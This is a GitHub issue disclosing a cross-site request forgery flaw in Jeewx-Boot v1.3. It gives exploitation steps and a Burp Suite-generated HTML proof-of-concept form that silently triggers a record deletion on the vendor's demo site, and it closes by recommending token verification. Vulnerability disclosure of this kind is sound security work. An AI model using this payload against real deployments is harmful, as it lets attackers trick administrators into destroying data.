Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jeewx-Boot-v1.3-Cross-site request forgery(CSRF) #34

Open
Al1ex opened this issue Jun 1, 2021 · 0 comments
Open

Jeewx-Boot-v1.3-Cross-site request forgery(CSRF) #34

Al1ex opened this issue Jun 1, 2021 · 0 comments

Comments

@Al1ex
Copy link

Al1ex commented Jun 1, 2021

Information

Exploit Title:Jeewx-Boot-v1.3-Cross-site request forgery(CSRF)
Exploit date:01.06.2021
Exploit Author:Al1ex@Heptagram
Vendor Homepage:https://github.com/zhangdaiscott/jeewx-boot
Affect Version:Jeewx-Boot-v1.3
Description:There is CSRF vulnerability in jeewx-boot-v1.3. Attackers can construct a malicious page and cheat administrator users to access it, thus causing malicious payload to be triggered.

How to Exploit

Step 1:Add a record
image
Step 2:Then delete the record and use burpsuite to capture the package
image
Step 3:After that, use burpsuite to construct CSRF exp
image

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.jeewx.com/businesshall/back/wxActBusinesshallRegistration/doDelete.do">
      <input type="hidden" name="id" value="ff80808179bd77900179c66b96e60266" />
      <input type="hidden" name="&#95;" value="1622531610993" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Step 4:Drop the burpsuite request packet and refresh the page to ensure that the record still exists
image
Step 5:After accessing the payload in the browser, you can see the successful execution
image
image
Step 6:After refreshing the page, it is found that the record has been successfully deleted
image

Suggestion

Using token to verify

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant